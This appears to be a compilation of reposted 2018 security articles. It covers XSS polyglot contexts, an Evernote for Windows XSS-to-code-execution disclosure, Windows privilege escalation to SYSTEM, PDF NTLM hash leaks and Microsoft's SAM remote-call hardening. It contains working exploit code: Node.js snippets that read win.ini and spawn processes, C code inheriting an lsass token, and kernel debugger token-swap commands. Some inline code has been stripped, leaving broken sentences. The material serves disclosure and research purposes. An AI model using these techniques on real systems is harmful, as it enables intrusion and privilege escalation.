День: 05.11.2018

( Original text by Jose Manuel Aparicio )

( Original text by @filedescriptor )

 in more than one context.

What is a XSS Polyglot?

A XSS payload which runs in multiple contexts. For example, 

 can pop alerts in 

 and 

. It is useful in testing XSS because it minimizes manual efforts and increases the success rate of blind XSS.

Rules

• You will be given 20 common contexts in black-box
• No DOM sinks or external libraries are involved
• Plain HTML injection with minimum filtering
• A headless Chrome will try your payload
• Your payload should run 
  alert()

   in 2+ contexts

• Payloads exceeding 1024 characters will always fail
• Network is disabled

Contexts

<div class="{{payload}}"></div>
<div class='{{payload}}'></div>
<title>{{payload}}</title>
<textarea>{{payload}}</textarea>
<style>{{payload}}</style>
<noscript>{{payload}}</noscript>
<noembed>{{payload}}</noembed>
<template>{{payload}}</template>
<frameset>{{payload}}</frameset>
<select><option>{{payload}}</option></select>
<script type="text/template">{{payload}}</script>
<!--{{payload}}-->
<iframe src="{{payload}}"></iframe> " → 
<iframe srcdoc="{{payload}}"></iframe> " →  < → 
<script>"{{payload}}"</script> </script → <\/script
<script>'{{payload}}'</script> </script → <\/script
<script>`{{payload}}`</script> </script → <\/script
<script>//{{payload}}</script> </script → <\/script
<script>/*{{payload}}*/</script> </script → <\/script
<script>"{{payload}}"</script> </script → <\/script " → \"

more examples by link

( Original text by TongQing Zhu@Knownsec 404 Team )

0x00 TL;DR

1. A stored cross site scripting(XSS) issue was repaired before version 6.15.
2. If a stored XSS in your note,the javascript code will executed in lastest Evernote for Windows.It mean I can create a stored XSS in version 6.14 and it will always work.
3. Present

    mode was created by 

   node webkit

   ,I can control it by stored XSS.

4. I successfully read «C:\Windows\win.ini» and open 
   calc.exe

    at last.

0x01 A Stored XSS In Version 6.14

Thanks @sebao,He told me how he found a stored xss in Evernote. 1. Add a picture to your note. 2. Right click and rename this picture,like: 

 3. open this note and click this picture,it will 

2018/09/20, Evernote for Windows 6.15 GA released and fix the issue @sebao reported.

In Evernote for Windows 6.15, 

,

,

 were filtered when insert filename,But the note which named by 

 can also 

.It mean they are do nothing when the filename output.I can use store XSS again.

0x02 JS Inject In NodeWebKit

Of course, I don’t think this is a serious security problem.So I decided to find other Vulnerabilities like RCE or local file read.

In version 6.14,I rename this picture as 

 for convenience, It allows me load the js file from remote server. Then I installed Evernote for Windows 6.15.

I try some special api,like: 

,

,but failed.

After failing many times,I decided to browse all files under path 

.I find Evernote has a 

 in 

 and 

 will use it.

Another good news is we can execute Nodejs code by stored XSS under 

.

0x03 Read Local File & Command Execute

I try to use 

,but fail: 

.So I need a new way.

Very Lucky,I found this article: How we exploited a remote code execution vulnerability in math.js

I read local file successfully.

//read local file javascript code

alert("Try to read C:\\\\Windows\\win.ini");

try{

  var buffer = new Buffer(8192);

  process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini', 0, 0600), buffer, 0, 4096); 

  alert(buffer);

}

catch(err){

  alert(err);

}

But in NodeWebKit environment,It don’t have 

 and 

(I don’t know why).So I try to use 

(I get 

 from 

):

// command executed

try{

  spawn_sync = process.binding('spawn_sync');

  envPairs = [];

  for (var key in window.process.env) {

    envPairs.push(key + '=' + window.process.env[key]);

  }

  args = [];



  const options = {

    file: 'C:\\\\Windows\\system32\\calc.exe',

    args: args,

    envPairs: envPairs,

    stdio: [

      { type: 'pipe', readable: true, writable: false },

      { type: 'pipe', readable: false, writable: true },

      { type: 'pipe', readable: false, writable: true } 

    ]

  };

  spawn_sync.spawn(options);

}

catch(err){

  alert(err);

}

0x04 Use Share Function

Now,I can read my computer’s file and execute 

.I need to prove that this vulnerability can affect other people. I signed up for a new account 

 and shared this note with the new account.

 can receive some message in 

:

if 

 decide to open it and use the 

,the Nodejs code will executed.

0x05 Report Timeline

2018/09/27: Find Read Local File and Command Execute Vulnerabilities and reported to security@evernote.com
2018/09/27: Evernote Confirm vulnerabilities
2018/10/15: Evernote fix the vulnerabilities in Evernote For Windows 6.16.1 beta and add my name to Hall of Fame
2018/10/19: request CVE ID:CVE-2018-18524
2018/11/05: After Evernote For Windows 6.16.4 released, Public disclosure

( Original text by XPN )

For many pentesters, Meterpreter’s 

 command has become the default method of gaining SYSTEM account privileges, but have you ever have wondered just how this works behind the scenes?

In this post I will show the details of how this technique works, and explore a couple of methods which are not quite as popular, but may help evade detection on those tricky redteam engagements.

Meterpreter’s «getsystem»

Most of you will have used the 

 module in Meterpreter before. For those that haven’t, 

 is a module offered by the Metasploit-Framework which allows an administrative account to escalate to the local SYSTEM account, usually from local Administrator.

Before continuing we first need to understand a little on how a process can impersonate another user. Impersonation is a useful method provided by Windows in which a process can impersonate another user’s security context. For example, if a process acting as a FTP server allows a user to authenticate and only wants to allow access to files owned by a particular user, the process can impersonate that user account and allow Windows to enforce security.

To facilitate impersonation, Windows exposes numerous native API’s to developers, for example:

• ImpersonateNamedPipeClient
• ImpersonateLoggedOnUser
• ReturnToSelf
• LogonUser
• OpenProcessToken

Of these, the 

 API call is key to the 

 module’s functionality, and takes credit for how it achieves its privilege escalation. This API call allows a process to impersonate the access token of another process which connects to a named pipe and performs a write of data to that pipe (that last requirement is important ;). For example, if a process belonging to «victim» connects and writes to a named pipe belonging to «attacker», the attacker can call 

 to retrieve an impersonation token belonging to «victim», and therefore impersonate this user. Obviously, this opens up a huge security hole, and for this reason a process must hold the 

 privilege.

This privilege is by default only available to a number of high privileged users:

This does however mean that a local Administrator account can use 

, which is exactly how 

 works:

1. getsystem

    creates a new Windows service, set to run as SYSTEM, which when started connects to a named pipe.

2. getsystem

    spawns a process, which creates a named pipe and awaits a connection from the service.

3. The Windows service is started, causing a connection to be made to the named pipe.
4. The process receives the connection, and calls 
   ImpersonateNamedPipeClient

   , resulting in an impersonation token being created for the SYSTEM user.

All that is left to do is to spawn cmd.exe with the newly gathered SYSTEM impersonation token, and we have a SYSTEM privileged process.

To show how this can be achieved outside of the Meterpreter-Framework, I’ve previously released a simple tool which will spawn a SYSTEM shell when executed. This tool follows the same steps as above, and can be found on my github account here.

To see how this works when executed, a demo can be found below:

Now that we have an idea just how 

 works, let’s look at a few alternative methods which can allow you to grab SYSTEM.

MSIExec method

For anyone unlucky enough to follow me on Twitter, you may have seen my recent tweet about using a .MSI package to spawn a SYSTEM process:

This came about after a bit of research into the DOQU 2.0 malware I was doing, in which this APT actor was delivering malware packaged within a MSI file.

It turns out that a benefit of launching your code via an MSI are the SYSTEM privileges that you gain during the install process. To understand how this works, we need to look at WIX Toolset, which is an open source project used to create MSI files from XML build scripts.

The WIX Framework is made up of several tools, but the two that we will focus on are:

• candle.exe — Takes a .WIX XML file and outputs a .WIXOBJ
• light.exe — Takes a .WIXOBJ and creates a .MSI

Reviewing the documentation for WIX, we see that 

 are provided, which give the developer a way to launch scripts and processes during the install process. Within the CustomAction documentation, we see something interesting:

This documents a simple way in which a MSI can be used to launch processes as SYSTEM, by providing a custom action with an 

 attribute set to 

.

When crafted, our WIX file will look like this:

A lot of this is just boilerplate to generate a MSI, however the parts to note are our custom actions:

<span class="hljs-tag">&lt;<span class="hljs-name">Property</span> <span class="hljs-attr">Id</span>=<span class="hljs-string">"cmdline"</span>&gt;</span>powershell...<span class="hljs-tag">&lt;/<span class="hljs-name">Property</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">CustomAction</span> <span class="hljs-attr">Id</span>=<span class="hljs-string">"SystemShell"</span> <span class="hljs-attr">Execute</span>=<span class="hljs-string">"deferred"</span> <span class="hljs-attr">Directory</span>=<span class="hljs-string">"TARGETDIR"</span> <span class="hljs-attr">ExeCommand</span>=<span class="hljs-string">'[cmdline]'</span> <span class="hljs-attr">Return</span>=<span class="hljs-string">"ignore"</span> <span class="hljs-attr">Impersonate</span>=<span class="hljs-string">"no"</span>/&gt;</span>

This custom action is responsible for executing our provided 

 as SYSTEM (note the 

 tag, which is a nice way to get around the length limitation of the 

attribute for long Powershell commands).

Another trick which is useful is to ensure that the install fails after our command is executed, which will stop the installer from adding a new entry to «Add or Remove Programs» which is shown here by executing invalid VBScript:

<span class="hljs-tag">&lt;<span class="hljs-name">CustomAction</span> <span class="hljs-attr">Id</span>=<span class="hljs-string">"FailInstall"</span> <span class="hljs-attr">Execute</span>=<span class="hljs-string">"deferred"</span> <span class="hljs-attr">Script</span>=<span class="hljs-string">"vbscript"</span> <span class="hljs-attr">Return</span>=<span class="hljs-string">"check"</span>&gt;</span>

  invalid vbs to fail install

<span class="hljs-tag">&lt;/<span class="hljs-name">CustomAction</span>&gt;</span>

Finally, we have our 

 tag, which is responsible for executing our custom actions in order:

<span class="hljs-tag">&lt;<span class="hljs-name">InstallExecuteSequence</span>&gt;</span>

  <span class="hljs-tag">&lt;<span class="hljs-name">Custom</span> <span class="hljs-attr">Action</span>=<span class="hljs-string">"SystemShell"</span> <span class="hljs-attr">After</span>=<span class="hljs-string">"InstallInitialize"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">Custom</span>&gt;</span>

  <span class="hljs-tag">&lt;<span class="hljs-name">Custom</span> <span class="hljs-attr">Action</span>=<span class="hljs-string">"FailInstall"</span> <span class="hljs-attr">Before</span>=<span class="hljs-string">"InstallFiles"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">Custom</span>&gt;</span>

<span class="hljs-tag">&lt;/<span class="hljs-name">InstallExecuteSequence</span>&gt;</span>

So, when executed:

1. Our first custom action will be launched, forcing our payload to run as the SYSTEM account.
2. Our second custom action will be launched, causing some invalid VBScript to be executed and stop the install process with an error.

To compile this into a MSI we save the above contents as a file called «msigen.wix», and use the following commands:

<span class="hljs-selector-tag">candle</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">msigen</span><span class="hljs-selector-class">.wix</span>

<span class="hljs-selector-tag">light</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">msigen</span><span class="hljs-selector-class">.wixobj</span>

Finally, execute the MSI file to execute our payload as SYSTEM:

PROC_THREAD_ATTRIBUTE_PARENT_PROCESS method

This method of becoming SYSTEM was actually revealed to me via a post from James Forshaw’s walkthrough of how to become «Trusted Installer».

Again, if you listen to my ramblings on Twitter, I recently mentioned this technique a few weeks back:

How this technique works is by leveraging the 

 Win32 API call, and using its support for assigning the parent of a newly spawned process via the 

 attribute.

If we review the documentation of this setting, we see the following:

So, this means if we set the parent process of our newly spawned process, we will inherit the process token. This gives us a cool way to grab the SYSTEM account via the process token.

We can create a new process and set the parent with the following code:

<span class="hljs-keyword">int</span> pid;

HANDLE pHandle = <span class="hljs-literal">NULL</span>;

STARTUPINFOEXA si;

PROCESS_INFORMATION pi;

SIZE_T size;

BOOL ret;



<span class="hljs-comment">// Set the PID to a SYSTEM process PID</span>

pid = <span class="hljs-number">555</span>;



EnableDebugPriv();



<span class="hljs-comment">// Open the process which we will inherit the handle from</span>

<span class="hljs-keyword">if</span> ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, <span class="hljs-literal">false</span>, pid)) == <span class="hljs-number">0</span>) {

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Error opening PID %d\n"</span>, pid);

    <span class="hljs-keyword">return</span> <span class="hljs-number">2</span>;

}



<span class="hljs-comment">// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute</span>

ZeroMemory(&amp;si, <span class="hljs-keyword">sizeof</span>(STARTUPINFOEXA));



InitializeProcThreadAttributeList(<span class="hljs-literal">NULL</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, &amp;size);

si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(

    GetProcessHeap(),

    <span class="hljs-number">0</span>,

    size

);

InitializeProcThreadAttributeList(si.lpAttributeList, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, &amp;size);

UpdateProcThreadAttribute(si.lpAttributeList, <span class="hljs-number">0</span>, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &amp;pHandle, <span class="hljs-keyword">sizeof</span>(HANDLE), <span class="hljs-literal">NULL</span>, <span class="hljs-literal">NULL</span>);



si.StartupInfo.cb = <span class="hljs-keyword">sizeof</span>(STARTUPINFOEXA);



<span class="hljs-comment">// Finally, create the process</span>

ret = CreateProcessA(

    <span class="hljs-string">"C:\\Windows\\system32\\cmd.exe"</span>, 

    <span class="hljs-literal">NULL</span>,

    <span class="hljs-literal">NULL</span>, 

    <span class="hljs-literal">NULL</span>, 

    <span class="hljs-literal">true</span>, 

    EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, 

    <span class="hljs-literal">NULL</span>,

    <span class="hljs-literal">NULL</span>, 

    <span class="hljs-keyword">reinterpret_cast</span>&lt;LPSTARTUPINFOA&gt;(&amp;si), 

    &amp;pi

);



<span class="hljs-keyword">if</span> (ret == <span class="hljs-literal">false</span>) {

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Error creating new process (%d)\n"</span>, GetLastError());

    <span class="hljs-keyword">return</span> <span class="hljs-number">3</span>;

}

When compiled, we see that we can launch a process and inherit an access token from a parent process running as SYSTEM such as lsass.exe:

The source for this technique can be found here.

Alternatively, NtObjectManager provides a nice easy way to achieve this using Powershell:

<span class="hljs-selector-tag">New-Win32Process</span> <span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-CreationFlags</span> <span class="hljs-selector-tag">Newconsole</span> <span class="hljs-selector-tag">-ParentProcess</span> (<span class="hljs-selector-tag">Get-NtProcess</span> <span class="hljs-selector-tag">-Name</span> <span class="hljs-selector-tag">lsass</span><span class="hljs-selector-class">.exe</span>)

Bonus Round: Getting SYSTEM via the Kernel

OK, so this technique is just a bit of fun, and not something that you are likely to come across in an engagement… but it goes some way to show just how Windows is actually managing process tokens.

Often you will see Windows kernel privilege escalation exploits tamper with a process structure in the kernel address space, with the aim of updating a process token. For example, in the popular MS15-010 privilege escalation exploit (found on exploit-db here), we can see a number of references to manipulating access tokens.

For this analysis, we will be using WinDBG on a Windows 7 x64 virtual machine in which we will be looking to elevate the privileges of our cmd.exe process to SYSTEM by manipulating kernel structures. (I won’t go through how to set up the Kernel debugger connection as this is covered in multiple places for multiple hypervisors.)

Once you have WinDBG connected, we first need to gather information on our running process which we want to elevate to SYSTEM. This can be done using the 

 command:

!<span class="hljs-selector-tag">process</span> 0 0 <span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span>

Returned we can see some important information about our process, such as the number of open handles, and the process environment block address:

<span class="hljs-selector-tag">PROCESS</span> <span class="hljs-selector-tag">fffffa8002edd580</span>

    <span class="hljs-selector-tag">SessionId</span>: 1  <span class="hljs-selector-tag">Cid</span>: 0858    <span class="hljs-selector-tag">Peb</span>: 7<span class="hljs-selector-tag">fffffd4000</span>  <span class="hljs-selector-tag">ParentCid</span>: 0578

    <span class="hljs-selector-tag">DirBase</span>: 09<span class="hljs-selector-tag">d37000</span>  <span class="hljs-selector-tag">ObjectTable</span>: <span class="hljs-selector-tag">fffff8a0012b8ca0</span>  <span class="hljs-selector-tag">HandleCount</span>:  21.

    <span class="hljs-selector-tag">Image</span>: <span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span>

For our purpose, we are interested in the provided PROCESS address (in this example 

), which is actually a pointer to an 

 structure. The 

structure (documented by Microsoft here) holds important information about a process, such as the process ID and references to the process threads.

Amongst the many fields in this structure is a pointer to the process’s access token, defined in a 

 structure. To view the contents of the token, we first must calculate the 

 address. On Windows 7 x64, the process 

 is located at offset 

, which differs throughout each version (and potentially service pack) of Windows. We can retrieve the pointer with the following command:

<span class="hljs-meta">kd&gt;</span><span class="bash"> dq fffffa8002edd580+0x208 L1</span>

This returns the token address as follows:

fffffa80`<span class="javascript"><span class="hljs-number">02</span>edd788  fffff8a0</span>`<span class="hljs-number">00</span>d76c51

As the token address is referenced within a 

 structure, we must 

 the value to gain the true pointer address:

<span class="hljs-meta">kd&gt;</span><span class="bash"> ? fffff8a0`00d76c51 &amp; ffffffff`fffffff0</span>



Evaluate expression: -8108884136880 = fffff8a0`00d76c50

Which means that our true 

 address for cmd.exe is at 

. Next we can dump out the 

 structure members for our process using the following command:

<span class="hljs-meta">kd&gt;</span><span class="bash"> !token fffff8a0`00d76c50</span>

This gives us an idea of the information held by the process token:

User: S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-21</span><span class="hljs-number">-3262056927</span><span class="hljs-number">-4167910718</span><span class="hljs-number">-262487826</span><span class="hljs-number">-1001</span>

User Groups:

 <span class="hljs-number">00</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-21</span><span class="hljs-number">-3262056927</span><span class="hljs-number">-4167910718</span><span class="hljs-number">-262487826</span><span class="hljs-number">-513</span>

    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled

 <span class="hljs-number">01</span> S<span class="hljs-number">-1</span><span class="hljs-number">-1</span><span class="hljs-number">-0</span>

    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled

 <span class="hljs-number">02</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-32</span><span class="hljs-number">-544</span>

    Attributes - DenyOnly

 <span class="hljs-number">03</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-32</span><span class="hljs-number">-545</span>

    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled

 <span class="hljs-number">04</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-4</span>

    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled

 <span class="hljs-number">05</span> S<span class="hljs-number">-1</span><span class="hljs-number">-2</span><span class="hljs-number">-1</span>

    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled

 <span class="hljs-number">06</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-11</span>

    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled

 <span class="hljs-number">07</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-15</span>

    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled

 <span class="hljs-number">08</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-5</span><span class="hljs-number">-0</span><span class="hljs-number">-2917477</span>

    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled LogonId

 <span class="hljs-number">09</span> S<span class="hljs-number">-1</span><span class="hljs-number">-2</span><span class="hljs-number">-0</span>

    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled

 <span class="hljs-number">10</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-64</span><span class="hljs-number">-10</span>

    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled

 <span class="hljs-number">11</span> S<span class="hljs-number">-1</span><span class="hljs-number">-16</span><span class="hljs-number">-8192</span>

    Attributes - GroupIntegrity GroupIntegrityEnabled

Primary Group: S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-21</span><span class="hljs-number">-3262056927</span><span class="hljs-number">-4167910718</span><span class="hljs-number">-262487826</span><span class="hljs-number">-513</span>

Privs:

 <span class="hljs-number">19</span> <span class="hljs-number">0x000000013</span> SeShutdownPrivilege               Attributes -

 <span class="hljs-number">23</span> <span class="hljs-number">0x000000017</span> SeChangeNotifyPrivilege           Attributes - Enabled <span class="hljs-keyword">Default</span>

 <span class="hljs-number">25</span> <span class="hljs-number">0x000000019</span> SeUndockPrivilege                 Attributes -

 <span class="hljs-number">33</span> <span class="hljs-number">0x000000021</span> SeIncreaseWorkingSetPrivilege     Attributes -

 <span class="hljs-number">34</span> <span class="hljs-number">0x000000022</span> SeTimeZonePrivilege               Attributes -

So how do we escalate our process to gain SYSTEM access? Well we just steal the token from another SYSTEM privileged process, such as lsass.exe, and splice this into our cmd.exe EPROCESS using the following:

<span class="hljs-meta">kd&gt;</span><span class="bash"> !process 0 0 lsass.exe</span>

<span class="hljs-meta">kd&gt;</span><span class="bash"> dq &lt;LSASS_PROCESS_ADDRESS&gt;+0x208 L1</span>

<span class="hljs-meta">kd&gt;</span><span class="bash"> ? &lt;LSASS_TOKEN_ADDRESS&gt; &amp; FFFFFFFF`FFFFFFF0</span>

<span class="hljs-meta">kd&gt;</span><span class="bash"> !process 0 0 cmd.exe</span>

<span class="hljs-meta">kd&gt;</span><span class="bash"> eq &lt;CMD_EPROCESS_ADDRESS+0x208&gt; &lt;LSASS_TOKEN_ADDRESS&gt;</span>

To see what this looks like when run against a live system, I’ll leave you with a quick demo showing cmd.exe being elevated from a low level user, to SYSTEM privileges:

( Original text by Didier Stevens )

The article “NTLM Credentials Theft via PDF Files” explains how PDF documents can refer to a resource via UNC paths. This is done using  PDF names /GoToE or /GoToR.

My tool pdfid.py can now be extended to report /GoToE and /GoToR usage in a PDF file, without having to change the source code. You just have to edit the pdfid.ini file (or create it) to include these names, like this:

Using pdfid configured like this on a “credential stealing PDF” gives the following result:

pdfid.ini has to be located in the same directory as pdfid.py. And remember that names in the PDF language are case-sensitive.

( Original text by research.checkpoint.com )

Just a few days after it was reported that malicious actors can exploit a vulnerability in MS outlook using OLE to steal a Windows user’s NTLM hashes, the Check Point research team can also reveal that NTLM hash leaks can also be achieved via PDF files with no user interaction or exploitation.

According to Check Point researchers, rather than exploiting the vulnerability in Microsoft Word files or Outlook’s handling of RTF files, attackers take advantage of a feature that allows embedding remote documents and files inside a PDF file. The attacker can then use this to inject malicious content into a PDF and so when that PDF is opened, the target automatically leaks credentials in the form of NTLM hashes.

PDF Background

A PDF file consists primarily of objects, together with Document structure, File structure, and content streams. There are eight basic types of objects:

• Boolean values
• Integers and real numbers
• Strings
• Names
• Arrays
• Streams
• The null object
• Dictionaries

A dictionary object is a table containing pairs of objects, called entries.  The first element of each entry is the key and the second element is the value. The key must be a name, and the value may be any kind of object, including another dictionary. The pages of a document are represented by dictionary objects called page objects.  The page objects consist of several required and optional entries.

Proof of Concept

The /AA entry is an optional entry defining actions to be performed when a page is opened (/O entry) or closed (/C entry).  The /O (/C) entry holds an action dictionary. The action dictionary consists of 3 required entries: /S, /F, and /D:

• /S entry: Describes the type of action to be performed. The GoTo action changes the view to a specified destination within the document. The action types GoToR, (Go To Remote) and GoToE (Go To Embedded), both vulnerable, jump to destinations in another PDF file.
• /F entry: Exists in GoToR and GoToE, and has slightly different meanings for each. In both cases it describes the location of the other PDF. Its type is file specification.
• /D entry: Describes the location to go to within the document.

By injecting a malicious entry (using the fields described above together with his SMB server details via the “/F” key), an attacker can entice arbitrary targets to open the crafted PDF file which then automatically leaks their NTLM hash, challenge, user, host name and domain details.

Figure 1: PoC – Injected GoToE action.

In addition, from the target’s perspective there is no evidence or any security alert of the attacker’s activity, which makes it impossible to notice abnormal behavior.

Figure 2: The crafted PDF file has no evidence of the attacker’s actions.

The NTLM details are leaked through the SMB traffic and sent to the attacker’s server which can be further used to cause various SMB relay attacks.

Figure 3: The Leaked NTLM details after the crafted PDF is opened.

Affected Products and Mitigation

Our investigation lead us to conclude that all Windows PDF-viewers are vulnerable to this security flaw and will reveal the NTLM credentials.

Disclosure

The issue was disclosed both to Adobe and Foxit.

Foxit indeed fixed the issue as part of 9.1 release.

Adobe fixed the vulnerability as part of the Adobe Reader version released in May (CVE-2018-4993).

IPS Prevention

Check Point customers are protected by the IPS protection:

Multiple PDF readers NTLMv2 Credential Theft

We would also like to thank our colleagues, Assaf Baharav, Yaron Fruchtmann, and Ido Solomon for their help in this research.

Applies to

• Windows 10, version 1607 and later
• Windows 10, version 1511 with KB 4103198 installed
• Windows 10, version 1507 with KB 4012606 installed
• Windows 8.1 with KB 4102219 installed
• Windows 7 with KB 4012218 installed
• Windows Server 2016
• Windows Server 2012 R2 withKB 4012219 installed
• Windows Server 2012 with KB 4012220 installed
• Windows Server 2008 R2 with KB 4012218 installed

The Network access: Restrict clients allowed to make remote calls to SAM security policy setting controls which users can enumerate users and groups in the local Security Accounts Manager (SAM) database and Active Directory. The setting was first supported by Windows 10 version 1607 and Windows Server 2016 (RTM) and can be configured on earlier Windows client and server operating systems by installing updates from the KB articles listed in Applies to section of this topic.

This topic describes the default values for this security policy setting in different versions of Windows. By default, computers beginning with Windows 10 version 1607 and Windows Server 2016 are more restrictive than earlier versions of Windows. This means that if you have a mix of computers, such as member servers that run both Windows Server 2016 and Windows Server 2012 R2, the servers that run Windows Server 2016 may fail to enumerate accounts by default where the servers that run Windows Server 2012 R2 succeed.

This topic also covers related events, and how to enable audit mode before constraining the security principals that are allowed to remotely enumerate users and groups so that your environment remains secure without impacting application compatibility.

Reference

The SAMRPC protocol makes it possible for a low privileged user to query a machine on a network for data. For example, a user can use SAMRPC to enumerate users, including privileged accounts such as local or domain administrators, or to enumerate groups and group memberships from the local SAM and Active Directory. This information can provide important context and serve as a starting point for an attacker to compromise a domain or networking environment.

To mitigate this risk, you can configure the Network access: Restrict clients allowed to make remote calls to SAM security policy setting to force the security accounts manager (SAM) to do an access check against remote calls. The access check allows or denies remote RPC connections to SAM and Active Directory for users and groups that you define.

By default, the Network access: Restrict clients allowed to make remote calls to SAM security policy setting is not defined. If you define it, you can edit the default Security Descriptor Definition Language (SDDL) string to explicitly allow or deny users and groups to make remote calls to the SAM. If the policy setting is left blank after the policy is defined, the policy is not enforced.

The default security descriptor on computers beginning with Windows 10 version 1607 and Windows Server 2016 allows only the local (built-in) Administrators group remote access to SAM on non-domain controllers, and allows Everyone access on domain controllers. You can edit the default security descriptor to allow or deny other users and groups, including the built-in Administrators.

The default security descriptor on computers that run earlier versions of Windows does not restrict any remote calls to SAM, but an administrator can edit the security descriptor to enforce restrictions. This less restrictive default allows for testing the impact of enabling restrictions on existing applications.

Policy and Registry Names

The Group Policy setting is only available on computers that run Windows Server 2016 or Windows 10, version 1607 and later. This is the only option to configure this setting by using a user interface (UI).

On computers that run earlier versions of Windows, you need to edit the registry setting directly or use Group Policy Preferences. To avoid setting it manually in this case, you can configure the GPO itself on a computer that runs Windows Server 2016 or Windows 10, version 1607 or later and have it apply to all computers within the scope of the GPO because the same registry key exists on every computer after the corresponding KB is installed.

Default values

Beginning with Windows 10, version 1607 and Windows Server 2016, computers have hard-coded and more restrictive default values than earlier versions of Windows. The different default values help strike a balance where recent Windows versions are more secure by default and older versions don’t undergo any disruptive behavior changes. Administrators can test whether applying the same restriction earlier versions of Windows will cause compatibility problems for existing applications before implementing this security policy setting in a production environment.

In other words, the hotfix in each KB article provides the necessary code and functionality, but you need to configure the restriction after you install the hotfix—no restrictions are enabled by default after the hotfix is installed on earlier versions of Windows.

Policy management

This section explains how to configure audit-only mode, how to analyze related events that are logged when the Network access: Restrict clients allowed to make remote calls to SAM security policy setting is enabled, and how to configure event throttling to prevent flooding the event log.

Audit only mode

Audit only mode configures the SAMRPC protocol to do the access check against the currently configured security descriptor but will not fail the call if the access check fails. Instead, the call will be allowed, but SAMRPC will log an event describing what would have happened if the feature had been enabled. This provides administrators a way to test their applications before enabling the policy in production. Audit only mode is not configured by default. To configure it, add the following registry setting.

Related events

There are corresponding events that indicate when remote calls to the SAM are restricted, what accounts attempted to read from the SAM database, and more. The following workflow is recommended to identify applications that may be affected by restricting remote calls to SAM:

1. Dump event logs to a common share.
2. Parse them with the Events 16962 — 16969 Reader script.
3. Review Event IDs 16962 to 16969, as listed in the following table, in the System log with event source Directory-Service-SAM.
4. Identify which security contexts are enumerating users or groups in the SAM database.
5. Prioritize the callers, determine if they should be allowed or not, then include the allowed callers in the SDDL string.

Compare the security context attempting to remotely enumerate accounts with the default security descriptor. Then edit the security descriptor to add accounts that require remote access.

Event Throttling

A busy server can flood event logs with events related to the remote enumeration access check. To prevent this, access-denied events are logged once every 15 minutes by default. The length of this period is controlled by the following registry value.

Restart requirement

Restarts are not required to enable, disable or modify the Network access: Restrict clients allowed to make remote calls to SAM security policy setting, including audit only mode. Changes become effective without a device restart when they are saved locally or distributed through Group Policy.

Security considerations

This section describes how an attacker might exploit a feature or its configuration, how to implement the countermeasure, and the possible negative consequences of countermeasure implementation.

Vulnerability

The SAMRPC protocol has a default security posture that makes it possible for low-privileged attackers to query a machine on the network for data that is critical to their further hacking and penetration plans.

The following example illustrates how an attacker might exploit remote SAM enumeration:

1. A low-privileged attacker gains a foothold on a network.
2. The attacker then queries all machines on the network to determine which ones have a highly privileged domain user configured as a local administrator on that machine.
3. If the attacker can then find any other vulnerability on that machine that allows taking it over, the attacker can then squat on the machine waiting for the high-privileged user to logon and then steal or impersonate those credentials.

Countermeasure

You can mitigate this vulnerability by enabling the Network access: Restrict clients allowed to make remote calls to SAM security policy setting and configuring the SDDL for only those accounts that are explicitly allowed access.

( Original text by @edent )

Unicode contains a range of symbols which don’t get much use. For example, there are separate symbols for TradeMark — ™, Service Mark — ℠, and Prescriptions — ℞.

Nestling among the «Letterlike Symbols» are two curious entries. Both of these are single characters:

• Telephone symbol — ℡
• Numero Sign — №

What’s interesting is both .tel and .no are Top-Level-Domains (TLD) on the Domain Name System (DNS).

So my contact site — https://edent.tel/ — can be written as — https://edent.℡/

And the Norwegian domain name registry NORID can be accessed at https://www.norid.№/

Copy and paste those links — they work in any browser!

Is this limited to TLDs?

No! This works ANYWHERE in a domain name. Copy and paste these examples:

• Script https://ℰ????????ℳ????ℒℰ.????????ℳ/
• Math Bold https://????????????????????????????.????????????/
• Fraktur https://????????????????????????????.????????????/
• Math bold italic https://????????????????????????????.????????????/
• Math bold script https://????????????????????????????.????????????/
• Double struck https://????????????????????????????.????????????/
• Monospace https://????????????????????????????.????????????/
• Super script https://ᵉˣᵃᵐᵖˡᵉ.ᶜᵒᵐ/
• Sub script https://ₑₓₐₘₚₗₑ.cₒₘ/ NB not all characters supported
